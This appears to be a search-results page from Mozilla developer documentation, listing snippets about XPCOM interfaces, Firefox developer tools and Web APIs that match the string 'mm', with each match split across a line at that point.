...depth = @depth@ topsrcdir = @top_srcdir@ srcdir = @srcdir@ vpath = @srcdir@ include $(depth)/config/autoconf.mk # module specifies where header files from this makefile are installed # use dom if your component implements a dom api module = dom # name of the typelib xpidl_module = dom_apps # set to 1 if the module should be part of the gecko runtime co
mmon to all applications gre_module = 1 # the idl sources xpidlsrcs = \ helloworld.idl \ $(null) include $(topsrcdir)/config/rules.mk xpidl_flags += \ -i$(topsrcdir)/dom/interfaces/base \ -i$(topsrcdir)/dom/interfaces/events \ $(null) creating the component using xpcomutils in firefox 3 and later you can use import xpcomutils.jsm using components.utils.import to simplify the process of wr...
...mutils.jsm"); then implement your interface the same way you did above, except with a few modifications so that xpcomutils can set it up properly: /*********************************************************** class definition ***********************************************************/ //class constructor function helloworld() { // if you only need to access your component from javascript, unco
mment the following line: //this.wrappedjsobject = this; } // class definition helloworld.prototype = { // properties required for xpcom registration: classdescription: "my hello world javascript xpcom component", classid: components.id("{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}"), contractid: "@dietrich.ganx4.com/helloworld;1", // [optional] custom factory (an object implem...
...And 2 more matches
Using XPCOM Utilities to Make Things Easier
the four required parts[other-parts] of the structure contain the following information: a human readable class name the class id (cid) the contract id (an optional but reco
mmended argument) a constructor for the given object static const nsmodulecomponentinfo components[] = { { "pretty class name", cid, contract_id, constructor }, // ...
... co
mmon implementation macros every xpcom object implements nsisupports, but writing this implementation over and over is tedious.
... ns_impl_isupports1(classname, interface1) also, if you implement more than one interface, you can simply change the 1 in the macro to the number of interfaces you support and list the interfaces, separated by co
mmas.
...And 2 more matches
mozIThirdPartyUtil
obtain the botto
mmost nsidomwindow, and its same-type parent if it exists, from the channel's notification callbacks.
... then: if the parent is the same as the botto
mmost window, and the channel has the load_document_uri flag set, return false.
...(we have already checked that auri is not foreign with respect to the channel uri.) otherwise, return the result of isthirdpartywindow() with arguments of the channel's botto
mmost window and the channel uri, respectively.
...And 2 more matches
nsIDOMXULElement
66 introduced gecko 1.0 inherits from: nsidomelement last changed in gecko 1.9 (firefox 3) method overview void blur(); void click(); void doco
mmand(); void focus(); nsidomnodelist getelementsbyattribute(in domstring name, in domstring value); nsidomnodelist getelementsbyattributens(in domstring namespaceuri, in domstring name, in domstring value); attributes attribute type description align domstring gets/sets the value of the element's align attribute.
...returns an nsicontrollers object that additional controllers may be appended to so as to provide focus-specific actions for co
mmands.
...click() unless the element is disabled, sends mouse events that simulate the effect of clicking the mouse on the element, then calls the doco
mmand() method.
...And 2 more matches
nsIMacDockSupport
method su
mmary void activateapplication(in boolean aignoreotherapplications); attributes attribute type description badgetext astring text to display in a badge on the application's dock icon.
...teelementns('http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul', 'menupopup'); macmenu.setattribute('id', 'mymacmenu'); var macmenuitem = win.document.createelementns('http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul', 'menuitem'); macmenuitem.setattribute('label', 'show most recent window'); macmenuitem.setattribute('id', 'mymacmenuitem'); macmenuitem.addeventlistener('co
mmand', function(){ var docksupport = cc['@mozilla.org/widget/macdocksupport;1'].getservice(ci.nsimacdocksupport); docksupport.activateapplication(true); services.wm.getmostrecentwindow(null).focus() }) macmenu.appendchild(macmenuitem); var mainpopupset = win.document.getelementbyid('mainpopupset'); mainpopupset.appendchild(macmenu); let dockmenuelement = macmenu; //document.getelementbyid("m...
...therefore, if you would like to add or remove items to the menu it is reco
mmended to manipulate the default menu item which is on the hidden window of firefox.
...And 2 more matches
nsIPluginHost
dom/plugins/base/nsipluginhost.idlscriptable please add a su
mmary to this article.
... void instantiatedu
mmyjavaplugin(in nsiplugininstanceowner aowner); native code only!
... native code only!instantiatedu
mmyjavaplugin instantiate a "du
mmy" java plugin if a java plugin that supports npruntime is installed.
...And 2 more matches
nsITreeView
for example: getrowproperties: function(index) { return "du
mmy"; } obsolete since gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19)this feature is obsolete.
...to add properties for a particular row, you must use the nsiatomservice to create an nsiatom string, which can then be appended to the array to alter the style (see also styling a tree) getrowproperties: function(index, properties) { var atomservice = components.classes["@mozilla.org/atom-service;1"].getservice(components.interfaces.nsiatomservice); var atom = atomservice.getatom("du
mmy"); properties.appendelement(atom); } hasnextsibling() used to determine if the row at rowindex has a nextsibling that occurs after the index specified by afterindex.
... performaction() a co
mmand api that can be used to invoke co
mmands on the selection.
...And 2 more matches
XPCOM Interface Reference
serhistorynsibrowsersearchservicensicrlinfonsicrlmanagernsicachensicachedeviceinfonsicacheentrydescriptornsicacheentryinfonsicachelistenernsicachemetadatavisitornsicacheservicensicachesessionnsicachevisitornsicachingchannelnsicancelablensicategorymanagernsichannelnsichanneleventsinknsichannelpolicynsicharsetresolvernsichromeframemessagemanagernsichromeregistrynsiclassinfonsiclipboardnsiclipboardco
mmandsnsiclipboarddragdrophooklistnsiclipboarddragdrophooksnsiclipboardhelpernsiclipboardownernsicollectionnsico
mmandcontrollernsico
mmandlinensico
mmandlinehandlernsico
mmandlinerunnernsicomponentmanagernsicomponentregistrarnsicompositionstringsynthesizernsiconsolelistenernsiconsolemessagensiconsoleservicensicontainerboxobjectnsicontentframemessagemanagernsicontentprefnsicontentprefcallback2nsicontent...
...mfilelistnsidomfilereadernsidomfontfacensidomfontfacelistnsidomgeogeolocationnsidomgeopositionnsidomgeopositionaddressnsidomgeopositioncallbacknsidomgeopositioncoordsnsidomgeopositionerrornsidomgeopositionerrorcallbacknsidomgeopositionoptionsnsidomglobalpropertyinitializernsidomhtmlaudioelementnsidomhtmlformelementnsidomhtmlmediaelementnsidomhtmlsourceelementnsidomhtmltimerangesnsidomjswindownsido
mmousescrolleventnsido
mmoznetworkstatsnsido
mmoznetworkstatsdatansido
mmoznetworkstatsmanagernsido
mmoztoucheventnsidomnshtmldocumentnsidomnavigatordesktopnotificationnsidomnodensidomofflineresourcelistnsidomorientationeventnsidomparsernsidomprogresseventnsidomserializernsidomsimplegestureeventnsidomstoragensidomstorage2nsidomstorageeventobsoletensidomstorageitemnsidomstoragelistnsidomstoragemanagernsi...
...cryptonsiloginmanageriemigrationhelpernsiloginmanagerprompternsiloginmanagerstoragensiloginmetainfonsimimeinputstreamnsimacdocksupportnsimarkupdocumentviewernsimemorynsimemorymultireporternsimemorymultireportercallbacknsimemoryreporternsimemoryreportermanagernsimenuboxobjectnsimessagebroadcasternsimessagelistenernsimessagelistenermanagernsimessagesendernsimessagewakeupservicensimessengernsimicrosu
mmarynsimicrosu
mmarygeneratornsimicrosu
mmaryobservernsimicrosu
mmaryservicensimicrosu
mmarysetnsimimeconverternsimimeheadersnsimodulensimsgaccountnsimsgaccountmanagerextensionnsimsgcompfieldsnsimsgcustomcolumnhandlernsimsgdbhdrnsimsgdbviewnsimsgdbviewco
mmandupdaternsimsgdatabasensimsgfilternsimsgfiltercustomactionnsimsgfilterlistnsimsgfoldernsimsgheaderparsernsimsgidentitynsimsgincomingservernsimsgmes...
...And 2 more matches
Troubleshooting XPCOM components registration
there are several co
mmon reasons that registration can fail: a component that is a binary (shared library) fails to load a javascript component has parsing errors the shared library loaded correctly, but registration was not successful did registration succeed?
...if the error appears, you can use nspr logging to see additional information about the failure by running firefox from a co
mmand prompt: rem close all firefox windows!
...see xpcom changes in gecko 2.0 parsing errors in javascript components the most co
mmon reason for components written in javascript to fail is that there are parsing errors.
...And 2 more matches
Finding the code for a feature
i keep two prominent links to this on my firefox toolbar, one to co
mm-central string search, and one to co
mm-central file search.
...i know there is a menu co
mmand "tag" to tag the message - how does it do it?
... using dom inspector, i find the tag menu item, and i see that it uses co
mmand "cmd_tag".
...And 2 more matches
Working with windows in chrome code
there also is a window object for each sub-document, although there's no window in a co
mmon sense for the sub-document.
...tprogress(window.arguments[0].progress); setstatus(window.arguments[0].status); } } function setprogress(value) { gprogressmeter.value = 100 * value / maxprogress; } function setstatus(text) { gstatus.value = "status: " + text + "..."; } ]]></script> <label id="status" value="(no status)" /> <hbox> <progressmeter id="progressmeter" mode="determined" /> <button label="cancel" onco
mmand="close();" /> </hbox> </window> example 2: interacting with the opener sometimes an opened window needs to interact with its opener; for example, it might do so in order to give notice that the user has made changes in the window.
... if we're sure the window that opened the progress dialog declares the canceloperation function, we can use window.opener.canceloperation() to notify it, like this: <button label="cancel" onco
mmand="opener.canceloperation(); close();" /> using a callback function.
...And 2 more matches
Intensive JavaScript - Firefox Developer Tools
the bottom half, which is correlated with the timeline su
mmary in time, shows frame rate.
...here's the code, together with its i
mmediate caller: const iterations = 50; const multiplier = 1000000000; function calculateprimes(iterations, multiplier) { var primes = []; for (var i = 0; i < iterations; i++) { var candidate = i * (multiplier * math.random()); var isprime = true; for (var c = 2; c <= math.sqrt(candidate); ++c) { if (candidate % c === 0) { // not prime isprime = false; ...
...the main thread and the worker thread can't call each other directly, but co
mmunicate using an asynchronous messaging api.
...And 2 more matches
Style Editor - Firefox Developer Tools
any changes you make are i
mmediately applied to the page.
... actually instruct the preprocessor to generate a source map, for example by passing the --source-map argument to the lass co
mmand-line tool, but in some preprocessors like sass, source maps are generated by default and you don't need to do anything.
... editing original sources you can also edit the original sources in the style editor and see the results applied to the page i
mmediately.
...And 2 more matches
Tips - Firefox Developer Tools
via web console co
mmand: screenshot <filename.png> --fullpage.
... right-click a node and click "use in console" to co
mmand line as tempn variable.
... web console in all panels: esc opens the split console; useful when debugging, or inspecting nodes in the co
mmand line: $0 references the currently selected node.
...And 2 more matches
Console messages - Firefox Developer Tools
su
mmary the http version, response code, and time taken to complete.
... synchronous and asynchronous reflows if a change is made that invalidates the current layout — for example, the browser window is resized or some javascript modifies an element's css — the layout is not recalculated i
mmediately.
...for example, code like this will cause an i
mmediate, synchronous, reflow, when it calls window.getcomputedstyle(thing).height: var thing = document.getelementbyid("the-thing"); thing.style.display = "inline-block"; var thingheight = window.getcomputedstyle(thing).height; because of this, it's a good idea to avoid interleaving write and read calls to an element's styles when manipulating the dom, because every time you read back a style tha...
...And 2 more matches
Web Console Helpers - Firefox Developer Tools
the co
mmands the javascript co
mmand line provided by the web console offers a few built-in helper functions that make certain tasks easier.
... $_ stores the result of the last expression executed in the console's co
mmand line.
... clearhistory() just like a normal co
mmand line, the console co
mmand line remembers the co
mmands you've typed.
...And 2 more matches
AudioTrack - Web APIs
the most co
mmon use for accessing an audiotrack object is to toggle its enabled property in order to mute and unmute the track.
...for example, an audio co
mmentary track for a movie might have a label of "co
mmentary with director john q.
... function gettracklist(el) { var tracklist = []; const wantedkinds = [ "main", "alternative", "main-desc", "translation", "co
mmentary" ]; el.audiotracks.foreach(function(track) { if (wantedkinds.includes(track.kind)) { tracklist.push({ id: track.id, kind: track.kind, label: track.label }); } }); return tracklist; } the resulting tracklist contains an array of audio tracks whose kind is one of those in the array wantedkinds, with each entry providing the track's id, kin...
...And 2 more matches
AuthenticatorAssertionResponse.authenticatorData - Web APIs
bit 6, attested credential data (at) - if set, attestedcredentialdata will i
mmediately follow the first 37 bytes of this authenticatordata.
...extension data will follow attestedcredentialdata if it is present, or will i
mmediatelly follow the first 37 bytes of the authenticatordata if no attestedcredentialdata is present.
... credentialidlength (2 bytes) - the length of the credential id that i
mmediately follows these bytes.
...And 2 more matches
CryptoKey - Web APIs
properties cryptokey.type string which may take one of the following values: "secret": this key is a secret key for use with a sy
mmetric algorithm.
... "private": this key is the private half of an asy
mmetric algorithm's cryptokeypair.
... "public": this key is the public half of an asy
mmetric algorithm's cryptokeypair.
...And 2 more matches
Element.querySelectorAll() - Web APIs
multiple selectors may be specified by separating them using co
mmas.
...nt"]`)]; obtaining a list of matches to obtain a nodelist of all of the <p> elements contained within the element "mybox": var matches = mybox.queryselectorall("p"); this example returns a list of all <div> elements within "mybox" with a class of either "note" or "alert": var matches = mybox.queryselectorall("div.note, div.alert"); here, we get a list of the document's <p> elements whose i
mmediate parent element is a div with the class "highlighted" and which are located inside a container whose id is "test".
...you can use any co
mmon looping statement, such as: var highlighteditems = userlist.queryselectorall(".highlighted"); highlighteditems.foreach(function(useritem) { deleteuser(useritem); }); note: nodelist is not a genuine array, that is to say it doesn't have the array methods like slice, some, map etc.
...And 2 more matches
EventTarget.addEventListener() - Web APIs
co
mmon targets are element, document, and window, but the target may be any object that supports events (such as xmlhttprequest).
... you can learn more from the article about eventlisteneroptions from the web incubator co
mmunity group.
..., capturehandler, capture); middle.addeventlistener('click', nonecapturehandler, nonecapture); inner1.addeventlistener('click', passivehandler, passive); inner2.addeventlistener('click', nonepassivehandler, nonepassive); function oncehandler(event) { alert('outer, once'); } function noneoncehandler(event) { alert('outer, none-once, default'); } function capturehandler(event) { //event.stopi
mmediatepropagation(); alert('middle, capture'); } function nonecapturehandler(event) { alert('middle, none-capture, default'); } function passivehandler(event) { // unable to preventdefault inside passive event listener invocation.
...And 2 more matches
Introduction to the File and Directory Entries API - Web APIs
the synchronous api, on the other hand, allows for simpler progra
mming model, but it must be used with webworkers.
...its direct, in-order progra
mming model can make code easier to read.
...for example, you are likely to use one of the following: xmlhttprequest (such as the send() method for file and blob objects) drag and drop api web workers (for the synchronous version of the file and directory entries api) the input element (to progra
mmatically obtain a list of files from the element) the file and directory entries api is case sensitive the filesystem api is case-sensitive, and case-preserving.
...And 2 more matches
GlobalEventHandlers - Web APIs
the globaleventhandlers mixin describes the event handlers co
mmon to several interfaces like htmlelement, document, or window.
... specifications specification status co
mment selection apithe definition of 'extension to globaleventhandlers' in that specification.
... candidate reco
mmendation adds onpointerlockchange and onpointerlockerror on document.
...And 2 more matches
HTMLImageElement.loading - Web APIs
this helps to optimize the loading of the document's contents by postponing loading the image until it's expected to be needed, rather than i
mmediately during the initial page load.
... lazy tells the user agent to hold off on loading the image until the browser estimates that it will be needed i
mminently.
... images whose loading attribute is set to lazy but are located within the visual viewport i
mmediately upon initial page load are loaded as soon as the layout is known, but their loads do not delay the firing of the load event.
...And 2 more matches
HTMLImageElement.srcset - Web APIs
the htmlimageelement property srcset is a string which identifies one or more image candidate strings, separated using co
mmas (,) each specifying image resources to use under given circumstances.
... syntax htmlimageelement.srcset = imagecandidatestrings; let srcset = htmlimageelement.srcset; value a usvstring containing a co
mma-separated list of one or more image candidate strings to be used when determining which image resource to present inside the <img> element represented by the htmlimageelement.
...this is followed by a co
mma (,) character and then a condition descriptor that indicates the circumstances in which the indicated image should be used.
...And 2 more matches
HTMLImageElement - Web APIs
htmlimageelement.loading a domstring providing a hint to the browser used to optimize loading the document by determining whether to load the image i
mmediately (eager) or on an as-needed basis (lazy).
...this string specifies a list of co
mma-separated conditional sizes for the image; that is, for a given viewport size, a particular image size is to be used.
...this specifies a list of candidate images, separated by co
mmas (',', u+002c co
mma).
...And 2 more matches
HTMLMediaElement.play() - Web APIs
usage notes although the term "autoplay" is usually thought of as referring to pages that i
mmediately begin playing media upon being loaded, web browsers' autoplay policies also apply to any script-initiated playback of media, including calls to play().
... if the user agent is configured not to allow automatic or script-initiated playback of media, calling play() will cause the returned promise to be i
mmediately rejected with a notallowederror.
...be sure your code doesn't expect an i
mmediate response.
...And 2 more matches
HTMLTextAreaElement - Web APIs
examples autogrowing textarea example make a textarea autogrow while typing: javascript function autogrow (ofield) { if (ofield.scrollheight > ofield.clientheight) { ofield.style.height = ofield.scrollheight + "px"; } } css textarea.noscrollbars { overflow: hidden; width: 300px; height: 100px; } html <form> <fieldset> <legend>your co
mments</legend> <p><textarea class="noscrollbars" onkeyup="autogrow(this);"></textarea></p> <p><input type="submit" value="send" /></p> </fieldset> </form> insert html tags example insert some html tags or smiles or any custom text in a textarea.
...praesent tristique co
mmodo lorem quis fringilla.
...pellentesque lacinia odio id nisi pulvinar co
mmodo tempus at odio.
...And 2 more matches
HTMLTimeElement.dateTime - Web APIs
the format of the string must follow one of the following html microsyntaxes: microsyntax description examples valid month string yyyy-
mm 2011-11, 2013-05 valid date string yyyy-
mm-dd 1887-12-01 valid yearless date string
mm-dd 11-12 valid time string hh:
mm hh:
mm:ss hh:
mm:ss.
mmm 23:59 12:15:47 12:15:52.998 valid local date and time string yyyy-
mm-dd hh:
mm yyyy-
mm-dd hh:
mm:ss yyyy-
mm-dd hh:
mm:ss.
mmm yyyy-
mm-ddthh:
mm yyyy-
mm-ddthh:
mm:ss yyyy-
mm-ddthh:
mm:ss.
mmm 2013-12-25 11:12 1972-07-25 13:43...
...:07 1941-03-15 07:06:23.678 2013-12-25t11:12 1972-07-25t13:43:07 1941-03-15t07:06:23.678 valid time-zone offset string z +hh
mm +hh:
mm -hh
mm -hh:
mm z +0200 +04:30 -0300 -08:00 valid global date and time string any combination of a valid local date and time string followed by a valid time-zone offset string 2013-12-25 11:12+0200 1972-07-25 13:43:07+04:30 1941-03-15 07:06:23.678z 2013-12-25t11:12-08:00 valid week string yyyy-www 2013-w46 four or more ascii digits yyyy 2013, 0001 valid duration string pddthh
mmss pddthh
mms.xs pddthh
mms.xxs pddthh
mms.xxxs pthh
mmss pthh
mms.xs pthh
mms.xxs pthh
mms.xxxs ww dd hh
mm ss p12dt7h12m13s p...
... p12dt7h12m13.45s p12dt7h12m13.455s pt7h12m13s pt7h12m13.2s pt7h12m13.56s pt7h12m13.999s 7d 5h 24m 13s syntax datetimestring = timeelt.datetime; timeelt.datetime = datetimestring example // assumes there is <time id="t"> element in the html var t = document.getelementbyid("t"); t.datetime = "6w 5h 34m 5s"; specifications specification status co
mment html living standardthe definition of 'htmltimeelement' in that specification.
...And 2 more matches
HTML Drag and Drop API - Web APIs
this overview of html drag and drop includes a description of the interfaces, basic steps to add drag-and-drop support to an application, and an interoperability su
mmary of the interfaces.
...(see specifying drop targets.) dragexit ondragexit …an element is no longer the drag operation's i
mmediate selection target.
... the basics this section is a su
mmary of the basic steps to add drag-and-drop functionality to an application.
...And 2 more matches
IDBTransactionSync - Web APIs
method overview void abort() raises (idbdatabaseexception); void co
mmit() raises (idbdatabaseexception); idbobjectstoresync objectstore(in domstring name) raises (idbdatabaseexception); attributes attribute type description db idbdatabasesync the database connection that this transaction is associated with.
... void abort( ) raises (idbdatabaseexception); exceptions this method can raise an idbdatabaseexception with the following code: non_transient_err if this transaction has already been co
mmitted or aborted.
... co
mmit() call this method to signal that the transaction has completed normally and satisfactorily.
...And 2 more matches
Using IndexedDB - Web APIs
therefore, it is not reco
mmended to use it in production code.
...in the case of opening a database, however, there are some co
mmon conditions that generate error events.
... console.error("database error: " + event.target.errorcode); }; one of the co
mmon possible errors when opening a database is ver_err.
...And 2 more matches
Intersection Observer API - Web APIs
one thing the intersection observer api can't tell you: the exact number of pixels that overlap or specifically which ones they are; however, it covers the much more co
mmon use case of "if they intersect by somewhere around n%, i need to do something." intersection observer concepts and usage the intersection observer api allows you to configure a callback that is called: (1) whenever one element, called the target, intersects either the device viewport or a specified element; for the purpose of this api, this is called the root element or root (2) and wheneve...
...the // first box's thresholds are set progra
mmatically // since there will be so many of them (for each percentage // point).
... starting at the target's i
mmediate parent block and moving outward, each containing block's clipping (if any) is applied to the intersection rectangle.
...And 2 more matches
PerformanceEntry - Web APIs
" + properties[i] + " is not supported"); } } } specifications specification status co
mment resource timing level 3 editor's draft resource timing level 2 working draft resource timing level 1 candidate reco
mmendation adds the performanceresourcetiming interface and the resource value for entrytype.
... navigation timing level 2 working draft navigation timing reco
mmendation adds the performancenavigationtiming interface and the navigation value for entrytype.
... user timing level 2 working draft user timing reco
mmendation adds the performancemark and performancemeasure interfaces as well as the mark and measure values for entrytype.
...And 2 more matches
PerformanceResourceTiming.fetchStart - Web APIs
the fetchstart read-only property represents a timestamp i
mmediately before the browser starts to fetch the resource.
... if there are http redirects the property returns the time i
mmediately before the user agent starts to fetch the final resource in the redirection.
... syntax resource.fetchstart; return value a domhighrestimestamp i
mmediately before the browser starts to fetch the resource.
...And 2 more matches
PerformanceResourceTiming.redirectEnd - Web APIs
the redirectend read-only property returns a timestamp i
mmediately after receiving the last byte of the response of the last redirect.
... when fetching a resource, if there are multiple http redirects, and any of the redirects have an origin that is different from the current document, and the timing allow check algorithm passes for each redirected resource, this property returns the time i
mmediately after receiving the last byte of the response of the last redirect; otherwise, zero is returned.
... syntax resource.redirectend; return value a timestamp i
mmediately after receiving the last byte of the response of the last redirect.
...And 2 more matches
RTCPeerConnection - Web APIs
the event is sent i
mmediately after the call setremotedescription() and doesn't wait for the result of the sdp negotiation.onconnectionstatechangethe rtcpeerconnection.onconnectionstatechange property specifies an eventhandler which is called to handle the connectionstatechange event when it occurs on an instance of rtcpeerconnection.
...this lets you change the ice servers used by the connection and which transport policies to use.setidentityprovider() the rtcpeerconnection.setidentityprovider() method sets the identity provider (idp) to the triplet given in parameter: its name, the protocol used to co
mmunicate with it (optional) and an optional username.
...if the remote endpoint is not bundle-aware, then each of these dtls transports then handles all the co
mmunication for one type of data.
...And 2 more matches
RTCPeerConnectionIceErrorEvent - Web APIs
properties the rtcpeerconnectioniceerrorevent interface includes the properties found on the event interface, as well as the following properties: address read only a domstring providing the local ip address used to co
mmunicate with the stun or turn server being used to negotiate the connection, or null if the local ip address has not yet been exposed as part of a local ice candidate.
...if co
mmunication with the stun or turn server couldn't be established at all, this string will be a browser-specific string explaining the error.
... port read only an unsigned integer value giving the port number over which co
mmunication with the stun or turn server is taking place, using the ip address given in address.
...And 2 more matches
SubtleCrypto.encrypt() - Web APIs
the other three encryption algorithms here are all sy
mmetric algorithms, and they're all based on the same underlying cipher, aes (advanced encryption standard).
...the web crypto api supports three different aes modes: ctr (counter mode) cbc (cipher block chaining) gcm (galois/counter mode) it's strongly reco
mmended to use authenticated encryption, which includes checks that the ciphertext has not been modified by an attacker.
...gcm does provide built-in authentication, and for this reason it's often reco
mmended over the other two aes modes.
...And 2 more matches
SubtleCrypto - Web APIs
subtlecrypto.generatekey() returns a promise that fulfills with a newly-generated cryptokey, for sy
mmetrical algorithms, or a cryptokeypair, containing two newly generated keys, for asy
mmetrical algorithms.
... subtlecrypto.wrapkey() returns a promise that fulfills with a wrapped sy
mmetric key for usage (transfer and storage) in insecure environments.
... the table below su
mmarises which algorithms are suitable for which cryptographic operations: sign() verify() encrypt() decrypt() digest() derivebits() derivekey() wrapkey() unwrapkey() rsassa-pkcs1-v1_5 ✓ rsa-pss ✓ ecdsa ✓ hmac ✓ ...
...And 2 more matches
Touch events - Web APIs
function handlecancel(evt) { evt.preventdefault(); console.log("touchcancel."); var touches = evt.changedtouches; for (var i = 0; i < touches.length; i++) { var idx = ongoingtouchindexbyid(touches[i].identifier); ongoingtouches.splice(idx, 1); // remove it; we're done } } since the idea is to i
mmediately abort the touch, we simply remove it from the ongoing touch list without drawing a final line segment.
... handling clicks since calling preventdefault() on a touchstart or the first touchmove event of a series prevents the corresponding mouse events from firing, it's co
mmon to call preventdefault() on touchmove rather than touchstart.
...this behavior is not well defined in the touch events spec and results in different behavior for different browsers (i.e., ios will prevent zooming but still allow panning with both fingers; android will allow zooming but not panning; opera and firefox currently prevent all panning and zooming.) currently, it's not reco
mmended to depend on any particular behavior in this case, but rather to depend on meta viewport to prevent zooming.
...And 2 more matches
USBDevice.controlTransferOut() - Web APIs
the controltransferout() method of the usbdevice interface returns a promise that resolves with a usbouttransferresult when a co
mmand or status operation has been transmitted to the usb device.
...the available options are: requesttype: must be one of three values specifying whether the tranfer is "standard" (co
mmon to all usb devices) "class" (co
mmon to an industry-standard class of devices) or "vendor".
... request: a vendor-specific co
mmand.
...And 2 more matches
ValidityState.typeMismatch - Web APIs
if the value of the email input is not an empty string, a single valid e-mail address, or one or more co
mma separated email address if the multiple attribute is present, there is a typemismatch.
...if the value of the url input is not an empty string, a single valid url, or one or more co
mma separated urls if the multiple attribute is present, there is a typemismatch.
... specifications specification status co
mment html living standardthe definition of 'validitystate.typemismatch' in that specification.
...And 2 more matches
WebGL by example - Web APIs
the examples are sorted according to topic and level of difficulty, covering the webgl rendering context, shader progra
mming, textures, geometry, user interaction, and more.
... explanations about the examples are found in both the main text and in co
mments within the code.
... you should read all co
mments, because more advanced examples could not repeat co
mments about parts of the code that were previously explained.
...And 2 more matches
WebGL: 2D and 3D graphics for the web - Web APIs
the examples are sorted according to topic and level of difficulty, covering the webgl rendering context, shader progra
mming, textures, geometry, user interaction, and more.
...this is a great place to start if you've never done low-level graphics progra
mming.
... webgl academy an html/javascript editor with tutorials to learn basics of webgl progra
mming.
...And 2 more matches
WebRTC connectivity - Web APIs
it’s any sort of channel of co
mmunication to exchange information before setting up a connection, whether by email, post card or a carrier pigeon...
...this is known as an ice candidate and details the available methods the peer is able to co
mmunicate (directly or through a turn server).
... prflx a peer reflexive candidate is one whose ip address comes from a sy
mmetric nat between the two peers, usually as an additional candidate during trickle ice (that is, additional candidate exchanges that occur after primary signaling but before the connection verification phase is finished).
...And 2 more matches
Spaces and reference spaces: Spatial tracking in WebXR - Web APIs
converting between webxr session types another co
mmon reason you may need to convert positional information from one reference space to another is when it's necessary to change the session type from inline to i
mmersive-vr or back.
... this co
mmonly happens when your user interface provides a way to preview the scene inline within the context of a web page, with a button or other control to switch to i
mmersive mode.
... let viewerpose = frame.getviewerpose(worldreferencespace); let newsession = navigator.xr.requestsession("i
mmersive-vr", { requiredfeatures: "unbounded" }); worldreferencespace = await newsession.requestreferencespace("unbounded"); viewerpose = worldreferencespace.getoffsetreferencespace(viewerpose.transform); here, the viewer pose is obtained, with its transform defined relative to worldreferencespace, the current session's global reference space.
...And 2 more matches
Using the Web Animations API - Web APIs
when we want to explicitly set a key’s offset from the other keys, we can specify an offset directly in the object, separated from the declaration with a co
mma.
... pausing and playing animations we’ll talk more about alice’s animation later, but for now, let’s look closer at the cupcake’s animation: var no
mmingcake = document.getelementbyid('eat-me_sprite').animate( [ { transform: 'translatey(0)' }, { transform: 'translatey(-80%)' } ], { fill: 'forwards', easing: 'steps(4, end)', duration: alicechange.effect.timing.duration / 2 }); the element.animate() method will i
mmediately run after it is called.
... to prevent the cake from eating itself up before the user has had the chance to click on it, we call animation.pause() on it i
mmediately after it is defined, like so: no
mmingcake.pause(); we can now use the animation.play() method to run it whenever we’re ready: no
mmingcake.play(); specifically, we want to link it to alice’s animation, so she gets bigger as the cupcake gets eaten.
...And 2 more matches
Basic concepts behind Web Audio API - Web APIs
here's a couple of simple examples: var context = new audiocontext(); var buffer = context.createbuffer(2, 22050, 44100); note: in digital audio, 44,100 hz (alternately represented as 44.1 khz) is a co
mmon sampling frequency.
... if you use this call above, you will get a stereo buffer with two channels, that when played back on an audiocontext running at 44100hz (very co
mmon, most normal sound cards run at this rate), will last for 0.5 seconds: 22050 frames/44100hz = 0.5 seconds.
...the left and right channels are stored like this: llllllllllllllllrrrrrrrrrrrrrrrr (for a buffer of 16 frames) this is very co
mmon in audio processing: it makes it easy to process each channel independently.
...And 2 more matches
Web Audio API - Web APIs
a co
mmon modification is multiplying the samples by a value to make them louder or quieter (as is the case with gainnode).
... we have a simple introductory tutorial for those that are familiar with progra
mming but need a good introduction to some of the terms and structure of the api.
...u are more familiar with the musical side of things, are familiar with music theory concepts, want to start building instruments, then you can go ahead and start building things with the advance tutorial and others as a guide (the above linked tutorial covers scheduling notes, creating bespoke oscillators and envelopes, as well as an lfo among other things.) if you aren't familiar with the progra
mming basics, you might want to consult some beginner's javascript tutorials first and then come back here — see our beginner's javascript learning module for a great place to begin.
...And 2 more matches
Window - Web APIs
window.do
mmatrix read only returns a reference to a do
mmatrix object, which represents 4x4 matrices, suitable for 2d and 3d operations.
... window.do
mmatrixreadonly read only returns a reference to a do
mmatrixreadonly object, which represents 4x4 matrices, suitable for 2d and 3d operations.
... window.cleari
mmediate() cancels the repeated execution set using seti
mmediate.
...And 2 more matches
XRReferenceSpace - Web APIs
the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin may drift as needed to acco
mmodate that need.
...this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both i
mmersive and inline, though it's most useful for inline sessions.
...*/ }); the other situation in which you may need to acquire a new reference space is if you need to move the origin to a new position; this is co
mmonly done, for example, when your project allows the user to move through the environment using input devices such as the keyboard, mouse, touchpad, or game controls that are not connected through the xr device.
...And 2 more matches
XRRigidTransform.position - Web APIs
example to create a reference space which can be used to place an object at eye level (assuming eye level is 1.5 meters): function onsessionstarted(xrsession) { xrsession.addeventlistener("end", onsessionended); gl = initgraphics(xrsession); let gllayer = new xrwebgllayer(xrsession, gl); xrsession.updaterenderstate({ baselayer: gllayer }); if (i
mmersivesession) { xrsession.requestreferencespace("bounded-floor").then((refspace) => { refspacecreated(refspace); }).catch(() => { session.requestreferencespace("local-floor").then(refspacecreated); }); } else { session.requestreferencespace("viewer").then(refspacecreated); } } function refspacecreated(refspace) { if (i
mmersivesession) { xrreferencespace = re...
...fspace; } else { xrreferencespace = refspace.getoffsetreferencespace( new xrrigidtransform({y: -1.5}); ); } xrsession.requestanimationframe(onframe); } after setting up the graphics context for webxr use, this begins by looking to see if a variable i
mmersivesession is true; if so, we first request a bounded-floor reference space.
... if we're not in an i
mmersive session, we instead request a viewer reference space.
...And 2 more matches
XRSystem: devicechange event - Web APIs
a devicechange event is fired on an xrsystem object whenever the whenever the availability of i
mmersive xr devices has changed; for example, a vr headset or ar goggles have been connected or disconnected.
... you can use this event to, for example, monitor for the availability of a webxr-compatible device so that you can enable a ui element which the user can use to activate i
mmersive mode.
... example the example shown here handles the devicechange event by toggling the availability of the "enter xr" button based on whether or not any i
mmersive devices are currently available.
...And 2 more matches
Web APIs
nbluetooth apibroadcast channel apiccss counter stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api
